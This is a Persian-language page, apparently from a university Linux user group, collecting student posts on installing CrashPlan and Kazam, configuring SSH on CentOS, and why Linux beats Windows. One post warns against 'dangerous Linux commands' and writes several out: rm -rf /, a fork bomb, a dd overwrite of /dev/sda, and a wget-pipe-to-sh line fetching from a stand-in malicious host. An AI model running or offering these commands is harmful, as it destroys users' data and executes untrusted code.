گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

گروه کاربران لینوکس دانشگاه شهید مدنی آذربایجان

لاگ دانشگاه آذربایجان :: Azarbaijan University Linux User Group

نرم افزاری برای  backup  گیری از اطلاعات است



1-ابتدا نرم افزار crashplan  را دانلود می کنیم.

2-سپس به مسیر دانلود شده می رویم.


cd Downloads/


3-سپس فایل زیپ شده را از حالت فشرده خارج می کنیم.


tar zxvf CrashPlan_3.6.4_Linux.tgz


-اجرای اسکریپت نصب CrashPlan را اجرا کنید توجه : توصیه می شود نصب را به عنوان کاربر root اجرا کنید. اگر با کاربر دیگری وارد شوید ، CrashPlan فقط می تواند فایل های قابل خواندن توسط حساب شما را پشتیبان گیری کند.


1.  sudo ./install.sh


5-دستورالعمل های روی صفحه را دنبال کنید و موافقت نامه مجوز را بپذیرید.


6-CrashPlan در حال حاضر نصب شده است.


7-در بعضی ورژن های لینوکس در هنگام بوت شدن پشتیبانی نمی شود راه حل ارائه شده به صورت زیر است.

8-با یک ویرایشگر متن مانند nano فایل را باز می کنیم.


1.  sudo nano /usr/local/crashplan/bin/run.conf


9-به پایان خط  GUI_JAVA_OPTS رفته.


10-دستور زیر را اضافه می کنیم.


 

Dorg.eclipse.swt.browser.DefaultType=mozilla

http://www.backupreview.com/how-to-install-crashplan-on-ubuntu/

حسن جعفری-941832208

پیکربندی سنت او اس از راه دور برای دسترسی به SSH



Secure Shell (SSH) یک سرویس TCP / IP است که یک مکانیسم امن را برای login شدن ازراه دور یک سیستم به شبکه محلی یا اینترنت از یک سیستم دیگر فراهم می کند. SSH نیز توانایی انتقال فایل ها بین سیستم های راه دور را فراهم می کند. هنگامی که یک کاربر وارد یک سیستم از راه دور با استفاده از SSH وارد سیستم می شود، یک خط فرمان دریافت می کند که به آنها اجازه می دهد دستورات را در سیستم از راه دور وارد کنند، مثل اینکه در سیستم از راه دور نشسته اند و جلسه پایانی را باز کرده اند.

در این فصل ما مراحل لازم برای پیکربندی سیستم CentOS را برای پذیرش اتصالات SSH را پوشش خواهیم داد. این شامل نصب سرور SSH در سیستم های محلی و پیکربندی فایروال برای اجازه اتصال SSH است.


نصب SSH روی CentOS:

برای اینکه سیستم بتواند اتصالات SSH را قبول کند، سیستم باید ابتدا سرور SSH را اجرا کند. به طور پیش فرض، CentOS سرور SSH را نصب می کند، بنابراین معمولا نصب آن لازم نیست. برای بررسی اینکه آیا آن نصب شده و اجرا شده است، از دستور زیر استفاده کنید:


sbin/service sshd status/

 

اگر سرویس نصب شده و اجرا شود، خروجی شبیه به زیر تولید خواهد شد:


...sshd (pid 9488 9486 1850) is running

 

اگر سرویس نصب نشده باشد می توان آن را به صورت زیر نصب کرد:


 -su 
yum install openssh-server
 

 

فرایند نصب سرور SSH ، نصب و راه اندازی سرویس در حال اجرا در پس زمینه بارگذاری خواهد شد. شما باید حالا تلاش کنید به یک سیستم از راه دور متصل شوید (برای جزئیات بیشتر در مورد چگونگی انجام این کار، زیر را ببینید). اگر شماهنگام اتصال به آن پیام "اتصال را رد کردید" دریافت می کنید، ممکن است لازم باشد فایروال را پیکربندی کنید تا اجازه اتصال SSH به این سیستم ایجاد شود. اگر سرویس نصب شده است اما در حال اجرا نیست، می توان از خط فرمان شروع کرد:


sbin/service sshd start/

 

این سرویس همچنین می تواند با استفاده از ابزار پیکربندی سرویس GUI که از طریق گزینه منوی System -> Administration -> Services در دسترس باشد، آغاز می شود. هنگامی که ابزار بارگیری شده است، به سادگی لیست سرویس ها را پایین نگه دارید تا زمانی که به sshd برسید. آن را انتخاب کنید و بر روی دکمه Start واقع در نوار ابزار کلیک کنید. اگر دوست دارید که سرویس هر بار که سیستم شروع به کار می کند، به طور خودکار شروع به کار کند، علامت کادر کنار سرویس را تنظیم کنید و بر روی دکمه Save کلیک کنید.


پیکربندی فایروال سنت او اس برای اجازه اتصال به SSH :

اگر شما برای محافظت از سیستم خود از یک فایروال استفاده می کنید، قبل از اتصال به سیستم از راه دور، ممکن است نیاز به اتصال SSH داشته باشید. اگر از پیکربندی فایروال اساسی استفاده می کنید (به پیکربندی Basic CentOS Firewall) مراجعه کنید، می توانید اتصالات SSH را با استفاده از سطح امنیت و ابزار پیکربندی فایروال بگذارید. این ابزار از سیستم -> مدیریت -> سطح امنیت و گزینه منو فایروال به عنوان به نظر می رسد به شرح زیر است:



 

اگر جعبه در کنار SSH قبلا چک نشده باشد، آن را بررسی کنید و روی Apply کلیک کنید تا ترافیک ssh را از طریق فایروال عبور دهد.

 

استفاده از SSH در CentOS:

SSH می تواند برای ورود به سیستم شما از یک سیستم از راه دور استفاده شود. همچنین ممکن است تست کنید که سرور SSH در حال اجرا است و از دستگاه محلی قابل دسترسی است. اتصالات SSH با استفاده از ابزار سرویس گیرنده ssh ایجاد می شوند.

برای اتصال از دستگاه محلی خود به خود، از دستور زیر استفاده کنید:


ssh -l username ipaddresss

 

کدام یوزرنیم نام کاربری است که شما می خواهید وارد شوید و ipaddress آدرس IP سیستم شما است. شما همچنین می توانید نام میزبان سیستم را به جای آدرس IP جایگزین کنید. اگر آدرس آی پی را نمیدانید، دستور ifconfig را در یک پنجره ترمینال اجرا کنید. این اطلاعات خروجی مشابه با:

 

 

eth0      Link encap:Ethernet  HWaddr 00:13:72:0B:14:57
          inet addr:192.168.2.21  Bcast:192.168.2.255  Mask:255.255.255.0
          inet6 addr: fe80::213:72ff:fe0b:1457/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4261067 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4409081 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:2068332349 (1.9 GiB)  TX bytes:2408187471 (2.2 GiB)
          Base address:0xcce0 Memory:fe3e0000-fe400000

 

در خروجی فوق، آدرس IP به عنوان inet addr:، در این مورد 192.168.2.21 نشان داده می شود.

برای اتصال به یک سیستم از راه دور، مراحل بالا را با استفاده از آدرس IP یا نام میزبان از راه دور انجام  دهید.رمز خود را وارد کنید هنگامیکه آماده شد شما به سیستم از راه دور وارد شدید.


کپی کردن فایل ها از طریق:SSH

سرویس SSH مکانیزمی برای کپی کردن ایمن فایل ها در یک سیستم از راه دورفراهم   می کند. کپی کردن با استفاده از ابزار scp انجام می شود. برای کپی کردن یک پرونده در یک دایرکتوری در یک سیستم از راه دور، دستور زیر را اجرا کنید:


scp myfile.txt username@192.168.2.21:/home/demo

 

مکان myfile.txt نام پرونده ای است که به سیستم از راه دور آپلود می شود، یوزرنیم نام کاربری است که برای ورود به سیستم از راه دور استفاده می شود، 192.168.2.1 توسط آدرس IP واقعی یا نام میزبان سیستم جایگزین و 

home / demo/ نشان دهنده دایرکتوری است که فایل باید کپی شود.

 

فایل فوق می تواند به طور مشابه از سیستم راه دور به سیستم محلی به صورت زیر کپی شود:


.scp username@192.168.2.21:/home/demo/myfile.txt 

 

دستور بالا پرونده از راه دور را به دایرکتوری فعلی در سیستم محلی کپی می کند.


غیرفعال کردن سرور SSH:

پس از پیکربندی سیستم برای اجرای سرور SSH، ما اکنون می توانیم به نحوه غیر فعال کردن آن نگاه کنیم. همانطور که قبلا ذکر شد، سرور SSH در پسزمینه به عنوان سرویس اجرا می شود. برای غیرفعال کردن SSH باید سرویس SSH را خاموش کنیم. این را می توان با استفاده از ابزار سرویس یا از خط فرمان به دست آورد. برای غیر فعال کردن سرویس SSHD از خط فرمان:

 - su
sbin/service sshd stop/

 

برای راه اندازی ابزار سرویس بر روی سیستم دسکتاپ کلیک کنید و سرویس ها را از زیر منو مدیریت انتخاب کنید. اگر ابزار در فهرست ذکر نشده باشد، ابتدا باید آن را نصب کنید. این را می توان از یک پنجره ترمینال به صورت زیر بدست آورد:


 - su
yum install system-config-services

 

هنگامی که ابزار نصب شده و راه اندازی شد، گذرواژه خود را (هنگام آماده بودن سرور) ارسال کنید تا این کار را انجام دهید. ابزار خدماتی حاوی یک لیست از تمام خدمات در دسترس ظاهر خواهد شد. برای پایین آوردن ورودی sshd به پایین نگاه کنید:



ورودی sshd را انتخاب کرده و روی دکمه توقف کلیک کنید. سرور SSH در حال حاضر متوقف شده است. اگر میخواهید دفعه بعدی که سیستم را روشن می کنید به صورت اتوماتیک از اجرای سرویس جلوگیری کنید، علامت کادر را بردارید و قبل از خروج از ابزار بر روی نوار ابزار Save کلیک کنید.

 

https://www.techotopia.com/index.php/Configuring_CentOS_Remote_Access_using_SSH

سید حسین حسینی /نرم افزار/ 941832211

نحوه ی نصب kazam  در ابونتو


در این پست، ما یاد بگیریم چگونه Kazam را در اوبونتو نصب کنیم.Kazam یک برنامه ضبط صفحه نمایش ساده است که محتوای صفحه خود را ضبط کرده و یک فایل ویدئویی را ضبط


 می کند که می تواند توسط هر کاربر پخش کننده ای که از فرمت ویدئو VP8 / WebM پشتیبانی می کند پخش شود.


به صورت اختیاری می توانید صدا را از هر دستگاه ورودی صوتی که توسط PulseAudio قابل پشتیبانی و قابل مشاهده است ضبط کنید.


با کمک Kazam شما می توانید ویدیو را در دسکتاپ ایجاد کنید که مزیت این در ایجاد فیلم های آموزشی است ....


مراحل زیر را برای نصب آخرین Kazam در سیستم اوبونتو می باشد.


1.      با استفاده از دستور زیر دستور زیر  kazam ppaرا اضافه کنید.

2.   sudo add-apt-repository ppa:kazam-team/stable-series

      یک فایل جدید ایجاد می کند، که مسیر کامل این آن است /etc/apt/sources.list.d/kazam-team-stable-series-trusty.list


2-کنون اطلاعات مربوط به repo info را به روز کنید

sudo apt-get update

3.  کاظم را نصب کنید. این به طور پیش فرض نسخه پایدار از مخازن PPA را انتخاب خواهد کرد.

sudo apt-get install kazam


پس از اتمام نصب، روی دکمه ی home کلیک کرده و kazam را تایپ کنید و سپس آیکون kazam  را مشاهده خواهید کرد روی آن کلیک کنید.


درحال حاضر شما می توانید صفحه نمایش دسکتاپ را ضبط و ویدئو از آن بگیرید.



http://sharadchhetri.com/2013/05/25/how-to-install-kazam-in-ubuntu/

محمد جعفری -941832209

دستورات خطرناک linux

در عین جالب بودن استفاده از خط فرمان در لینوکس گاهی اوقات ممکن است این عمل خطرناک باشد زیرا با یک اشتباه کوچک میتواند منجر به آسیب ببه سستم شود. در ادامه ی مطلب شمارا با چند دستور خطرناک که استفاده از آنها توصیه نمی شود آشنا می کنیم:



1. rm  -rf

این دستور یکی از سریعترین راه ها برای پاک کردن یک پوشه و محتویات آن است اما یک اشتباه کوچک ممکن است آسیب جدی به سیستم عامل بزند.

  •     دستور rm -r پرونده را به صورت بازگشتی، حتی پوشه خالی پاک می کند.
  • دستور rm -f حذف بدون نیاز به «فقط خواندن فایل».
  •     rm -rf /: حذف همه چیز را در دایرکتوری ریشه.
  •     rm -rf *: خاتمه حذف همه چیز در دایرکتوری دایرکتوری / دایرکتوری کاری.
  •  rm -rf : حذف پوشه فعلی و پوشه های زیر را خاتمه دهید.


پس هنگام استفاده از این دستور باد قت عمل کنید. درصورتی که می خواهید مشکل حذف تصادفی را برطرف کنید نام مستعار rm را در bashcr با rm -i اییجاد کنید تا برای هر حذف از شما برای تایید حذف سوال کند.


2.:;{&:|:}():

این عبارت در واقع یک بمب افکن است. این کاربا تعریف تابع ":" که خود را یک بار با پس زمینه و یک بار با پیش زمینه تماس میدهد تا سیستم به طور کامل مهار شود و سپس دوباره اجرا می شود.


3.mvfolder   /dev/null

دستور بالا یک دستور انتقال است به آدرسی که در روبروی آن نوشته شده، اما نکته ی مهم اینجاست که null یک فایل ویژه ای است که تمام داده های نوشته شده در آن را حذف می کند و در نهایت گزارش میدهد که عملیات موفق است.


4.wget http://malicious_source -O- | sh

این دستور ابتده یک اسکریپت را از منببع مخرب دنلود و سپس آنرا اجرا می کند. wget برای دانلود و sh برای اجرا استفاده می شود.


5.dd if=/dev/random of=/dev/sda

دستور فوق sda بلوک را پاک کرده و داده های ناخواسته را به آن ارسال می کند. البته باید نکته را مد نظر داشته باشید که سیستم شما در حالت غیر قابل برگشت باقی خواهد ماند.


خب!

از 10 دستور خطرناک گفته شده در سایت در اینجا به 5 دستور مهمتر اشاره شد و کسانی که تمایل به مطالعه ی بیشتر در ازین زمینه دارند می توانند به آدرس زیر مراجعه نمایند.


https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/#


نویسنده:سینا صادقی

دلایل برتری لینوکس بر ویندوز

 

10 دلیلی که باعث می شود لینوکس از ویندوز پیشی بگیرد:

آیا می دانستید که سیستم عامل لینوکس در مقایسه با ویندوز ویژگی هایی دارد که باعث پیشی گرفتن از آن میشود؟

اگر شما یک کاربر تازه کار هستید به شما توصیه می شود که برای شروع از سیستم عامل ویندوز که یادگیری آن در مقایسه با ویندوز ساده تر است ،استفاده کنید و طبیعی است که شما از لینوکس که کمی پیچیده تر از ویندوز است استفاده نکنید.لینوکس برای افرادی که دارای مهارت های بالایی هستند ودوست دارند تجربه های متفاوتی داشته باشند مناسب است. ازدلایلی که باعث پیشی گرفتن آن از ویندوز می شود می توان 10 مورد را بیان کرد که عبارت اند از:


1.متن باز بودن                                                                                                                       

شما یک خودرو را درنظربگیرید،وقتی می خواهید خودرویی را بخرید در نگاه اول فقط یک دستگاهی را می بینید که از اجزای مختلفی تشکیل شده است که برای شما پنهان است و فقط شما صورت کامل شده آن را می بینید و نمیتوانید تغییری در آن ایجاد کنید و هرگونه دستکاری درآن موجب نقص فنی آن می شود ،ویندوز هم عملکردی مشابه این رادارد اما در مقابل آن لینوکس کاملا یک پروژه متن باز است و هر کاربری در صورت نیاز می تواند هرگونه تغییر را در آن انجام دهد و حتی به کد خود سیستم عامل دسترسی دارد میتواند آن را تغییر و اصلاح کند و دوباره به بازار عرضه کند و دیگران بدون پرداخت هیچ هزینه ای از آن استفاده کنند.درست است که برای اکثر افراد متن باز بودن اهمیتی ندارد ولی یک اصل اساسی در سیستم عمل لینوکس است.


2.امنیت بالا

این یک حقیقت است که سیستم عامل لینوکس نسبت به ویروس ها و حملات هکر ها آسیب پذیر است اما لینوکس در مقایسه با ویندوز در مقابل همچنین حملاتی بسیار امن تر است ودلیل آن هم فرآیند مدیریت بسته ،مفهموم انبار و ویژگی های دیگر می باشد.در سیستم عامل ویندوز شما دائم نیاز دارید که هزینه هایی پرداخت کنیدو آنتی ویروسی بر روی سیستم خود نصب کنید که از ویروس ها در امن بماند و عملکردش کند نشود ولی در لینوکس نیازی به آنتی ویروس ندارید که باعث صرفه جویی در هزینه ها میشود.


3.توانایی احیا و استفاده دوباره از کامپیوترهای قدیمی

سیستم عامل ها دائم در حال تکامل هستند و برای استفاده از آن باید نیازمندی های لازم برای سیستم را نیز تامین کرد.مثلا وقتی یک ویندوز 10 را خریداری می کنید برای اجرای آن باید حداقل نیازمندی های سخت افزاری لازم را داشت چون بر روی یک سیستم سطح پایین قابل اجرا نمی باشد.اما در مقابل می توان با استفاده از لینوکس هنوز هم از سیستم های کامپیوتری قدیمی برای انجام بعضی کارها استفاده کرد ولی این دلیل نمی شود که سیستم های با 256مگابایت حافظه و پردازنده قدیمی توزیع شود با این حال هنوز هم گزینه هایی وجود دارد بر روی سیستم های سطح پایین  اجرا می شود(مانند  (puppy linux بنابراین سیستم عامل لینوکس میتواند در بر روی انواع سیستم ها(سطح پایین -بالا)اجرا شود ولی ویندوز برای اجرا شدن نیاز های سخت افزاری دارد.به خاطر این دلیل است که اگر یک ویندوز سطح بالا و لینوکس سطح پایین را مقایسه کنید باز اکثر سرور ها در سراسر جهان لینوکس را نرجیح می دهند.


4.مناسب برای برناَمه نویسان

سیستم عامل لینوکس از اکثر زبان های برنامه نویسی((Python, C/C++, Java, Perl, Ruby, etcپشتیبانی می کند.برنامه های زیادی را برای هدف برنامه نویسی و کمک به برنامه نویسان عرضه می کند.ترمینال لینوکس مناسب تر از CMDویندوز برای برنامه نویسان می باشد و شما میتواند ازکتابخانه هایی زیادی را که برای لینوکس می باشد،استفاده کنید و همچنین اکثر برنامه نویسان بر این باورند که مدیریت بسته در لینوکس به آن ها کمک می کنند که کار خود را راحت تر انجام دهند.


5.به روزرسانی های نرم افزار

مایکروسافت زمانی بروزرسانی را انجام می دهد که بایک مشکل بزرگی مواجه باشد یا بخواهد یه موردی را اثبات کنید همچنین بعضی مواقه برای حل یک مشکل کوچک هم بروزرسانی انجام میدهد و.لی در مقابل لینوکس بروزرسانی های بیشتر و سریعتری را انجام می دهد.


6.سفارشی بودن

یک مزیت بزرگ لینوکس نسبت به ویندوز ،قابل سفارش بودن آن است .اگر شما میخواهید تنطیمات لینوکس خود را تغییر دهید و انگونه که مدنطرخودتان هست ایجاد کنید ،لینوکس برای شما مناسب است.


7.تنوع در توزیع

تنوع و توزیع زیادی در ویندوز دیده نمی شود و ممکن است که شما نقشه های زیادی برای انجام کار خاصی که نیاز به شرایط صدور مجوز،دوره های فعالسازی ،قیمت و...داشته باشید.در مقابل لینوکس توزیع های متفاوت.(توزیع هایی برای هکر ها،برنامه نویسان ،رایانه های بسیار قدیمی و... ) برای مجموعه ای از نیاز ها دارد به طوریکه شما  براساس نیاز خود هر توزیعی که متناسب با نیاز شما باشد را انتخاب کنید.


8.استفاده رایگان

برخلاف ویندوز ،لینوکس به صورت رایگان در دسترس عموم است وکاربر مجبور نیست که هزینه های زیادی برای گرفتن یک کپی از آن پرداخت کند و هرگونه تغییر ،کپی بر روی لینوکس رایگان است.


9.پشتیبانی ارتباطی بهتر

وقتی شما بایک مشکلی در لینوکس مواجه شدید لازم نیست که یک متخصص را استخدام کنید تا مشکل شما را حل کند بلکه میتوانی با یک جستجوی ساده در وب به راحتی افرادی را پیدا کنید که میتوانند مشکل شمارا حل کنند وافرادی که در زمینه لینوکس فعال هستند آماده پاسخ گویی هستند واین افراد به مراتب فعالتر از افرادی هستند که به ویندوز علاقه دارند.


10.حفظ حریم شخصی

مایکروسافت به صورت پنهانی میتواند داده های جمع آوری شده هر کاربری را تغییر دهند که این مشکل در ویندوز 10 نیز حل نشد که باعث شده است انتقاد های زیادی در مور جمع آوری داده هاو نحوه استفاده از آن ها داشته باشد.اگر از ویندوز 10 استفاده کرده باشید به قسمت حریم خصوصی مراجعه کنید می بینید که همه چیز به طورر پیش فرض برای شما فعال شده است حتی اگر شما اجازه ارسال اطلاعتتان را ندهید آن ها باز اطلاعات شما را جمع آوری میکنند و شما نیاز به ابزارهایی برای غیرفعال کردن ماژول جاسوسی ویندوز دارید درمقابل لینوکس یک راه حل کامل برای حفظ حریم خصوصی می باشد به طوری که هیچ اطلاعاتی از شما را جمع آوری نمی کند و شما نیازی به ابزار اضافی برای محافظت از حریم خصوصی خود ندارید.

 

منبع

https://itsfoss.com/linux-better-than-windows

 

 نام ونام خانوادگی دانشجو:زهرا پیرجانی(941832205)